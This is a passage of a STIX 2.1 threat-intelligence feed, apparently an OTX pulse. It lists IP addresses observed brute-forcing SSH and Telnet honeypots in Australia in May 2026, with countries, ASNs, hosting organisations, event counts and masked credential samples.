      "pattern": "[ipv4-addr:value = '31.59.128.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 273438. Organisation(s): Olah Connect.",
      "id": "indicator--d82281bb-dd51-4528-a5c7-b923a629d48f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.178.170.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 285. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24309. Organisation(s): Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA. Usernames observed (masked): r**t, 3**********4, t**t, a***n, d**i. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1****a, 1******R.",
      "id": "indicator--ba96806f-a6be-4767-b64e-8a0f5f3e8c94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.206.18.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 294. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 24961. Organisation(s): WIIT AG.",
      "id": "indicator--97732280-169d-41a2-b6b6-b1d29fd9c182",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.104.108.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 12083. Organisation(s): WideOpenWest Finance LLC.",
      "id": "indicator--902963dd-2772-439e-8503-e37650366ea7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.4.0.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 2860. Organisation(s): Nos Comunicacoes, S.A..",
      "id": "indicator--12244d77-7ff7-494d-a5f7-c1109e11971b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.157.1.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--e987a364-ffcf-4c48-920b-627d42084ea0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.239.99.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:15:10.000Z",
      "valid_until": "2026-06-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-01T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CA. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--a15356b8-7ae6-4d96-ad5d-c1eeea77475c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.105.3.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:15:10.000Z",
      "valid_until": "2026-06-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-01T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, u****u, u**r, a***n, d****y. Passwords observed (masked): 1****6, ***, *, 1**4, 1*******9.",
      "id": "indicator--d85e4dd0-5b9c-4c12-8ccd-358b68771eb9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:15:10.000Z",
      "valid_until": "2026-06-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-01T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28198. Organisation(s): SEMPRE TELECOMUNICACOES LTDA.",
      "id": "indicator--4c56db48-aefe-4a4d-9e8b-9b7d2f7cc98a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.185.22.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:15:10.000Z",
      "valid_until": "2026-06-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-01T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V..",
      "id": "indicator--add03040-9a9e-4250-8cec-9f9d8bbe2990",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.230.142.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:15:10.000Z",
      "valid_until": "2026-06-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-01T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 21826. Organisation(s): Corporacion Telemic C.A..",
      "id": "indicator--638c629c-2c22-4f10-bf73-703669c590f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.14.223.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:15:10.000Z",
      "valid_until": "2026-06-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-01T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--b0229603-8716-42a2-8a7b-dad59ef1436b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.163.179.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:15:10.000Z",
      "valid_until": "2026-06-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-01T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 52486. Organisation(s): Cooperativa Electrica de Galvez Ltda..",
      "id": "indicator--5a3730bd-304c-48dd-9f1c-c447dae6141a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.91.57.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:15:10.000Z",
      "valid_until": "2026-06-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-01T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 228. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--95288986-a74f-46e2-a21f-b9bc0e066b39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.197.160.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:15:10.000Z",
      "valid_until": "2026-06-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-01T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--cde27dcb-99d7-4202-b853-22b1e3c32e06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.38.31.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:15:10.000Z",
      "valid_until": "2026-06-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-01T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--be2b5242-91c2-4bb5-80bc-bf274103116c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:15:10.000Z",
      "valid_until": "2026-06-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-01T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 49981. Organisation(s): WorldStream B.V..",
      "id": "indicator--381d6b91-f7b6-4b47-b3c8-2a45870a6177",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.252.152.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:15:10.000Z",
      "valid_until": "2026-06-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-01T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 8888. Organisation(s): xTom Pty Ltd.",
      "id": "indicator--e22b0672-1b01-4018-b491-3b1df40fda18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '96.9.211.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T02:15:10.000Z",
      "valid_until": "2026-06-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-01T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 568. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 55664. Organisation(s): PT Inovasi Global Mumpuni.",
      "id": "indicator--44db9aa6-5285-4b2c-9c20-0efd773ccc48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.236.150.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:15:10.000Z",
      "valid_until": "2026-06-02T03:15:08.000Z"
    },
    {
      "created": "2026-05-01T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--91c4ae3b-35a8-4d8d-be12-b6bddab28a43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.172.55.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:15:10.000Z",
      "valid_until": "2026-06-02T03:15:08.000Z"
    },
    {
      "created": "2026-05-01T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, u****u, 3**********4, p****r, r**a. Passwords observed (masked): !**$, 3***********4, 3**********4, A******!, a*******3.",
      "id": "indicator--34cb1665-d604-433f-97a1-cb237f9f1706",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '136.248.247.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:15:10.000Z",
      "valid_until": "2026-06-02T03:15:08.000Z"
    },
    {
      "created": "2026-05-01T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 255. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--b7017d2a-0434-4d87-8ae9-7586124f247e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.59.85.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:15:10.000Z",
      "valid_until": "2026-06-02T03:15:08.000Z"
    },
    {
      "created": "2026-05-01T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--8c59a276-c2d1-4c63-878f-44db7ffc16a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.197.109.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:15:10.000Z",
      "valid_until": "2026-06-02T03:15:08.000Z"
    },
    {
      "created": "2026-05-01T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A.. Usernames observed (masked): a***n, ***, u****u, 3**********4, p******s. Passwords observed (masked): 3***********4, 3**********4, P*******0, P**********3, g*****4.",
      "id": "indicator--b424c762-67c0-41ec-a1d2-222c7edd9e12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.244.39.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:15:10.000Z",
      "valid_until": "2026-06-02T03:15:08.000Z"
    },
    {
      "created": "2026-05-01T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22, 587. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): a***n. Passwords observed (masked): 4***n, A******6, p*****e.",
      "id": "indicator--d1f39cea-e9a0-48ac-b1ed-06cdce0051cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.46.255.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:15:10.000Z",
      "valid_until": "2026-06-02T03:15:08.000Z"
    },
    {
      "created": "2026-05-01T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 204800. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--f8d6b514-9e6e-49a4-815e-f027cc57db7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.38.91.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:15:10.000Z",
      "valid_until": "2026-06-02T03:15:08.000Z"
    },
    {
      "created": "2026-05-01T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--7b5f72ae-3ab2-42e0-9bae-d006ad78e4a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.43.34.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:15:10.000Z",
      "valid_until": "2026-06-02T03:15:08.000Z"
    },
    {
      "created": "2026-05-01T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 422. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 13213. Organisation(s): Thg Hosting Limited.",
      "id": "indicator--f3511a15-d3b8-4718-82ec-99e5b386f7ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.78.94.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:15:10.000Z",
      "valid_until": "2026-06-02T03:15:08.000Z"
    },
    {
      "created": "2026-05-01T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--297ae827-7012-42ee-9f78-79ea7cb4fe67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.210.195.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:15:10.000Z",
      "valid_until": "2026-06-02T03:15:08.000Z"
    },
    {
      "created": "2026-05-01T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 12989. Organisation(s): Black HOST Ltd.",
      "id": "indicator--84b03f10-f707-4076-9b4f-5b3440814918",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.54.31.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:15:10.000Z",
      "valid_until": "2026-06-02T03:15:08.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 168. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 138131. Organisation(s): CV. NATANETWORK SOLUTION.",
      "id": "indicator--8889fde3-708d-4752-91b6-6f9c64ef94a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.115.164.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Heralding. Target ports: 5900. Source country: HK. ASN(s): 9312. Organisation(s): xTom. Passwords observed (masked): 1****1, ***, 1**4, 1***5, 1****6.",
      "id": "indicator--fc16af67-1a5a-4cd6-af85-4f3a2eebb3e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.125.233.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 38532. Organisation(s): Exabytes Network Singapore Pte. Ltd..",
      "id": "indicator--8520eb37-37f8-4954-b615-66c3a9d789e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.14.214.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 138245. Organisation(s): Xpress Net Solution.",
      "id": "indicator--abfb0be8-5e4d-494b-81f9-a11ad963bf73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.181.160.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--63c85f5f-f8f3-470e-86f6-8c5d5e8d4ca7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:15:10.000Z",
      "valid_until": "2026-06-02T04:15:09.000Z"
    },
    {
      "created": "2026-05-01T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--2082f7e6-eaed-4ffe-afd2-87d04cb35f38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T04:15:10.000Z",
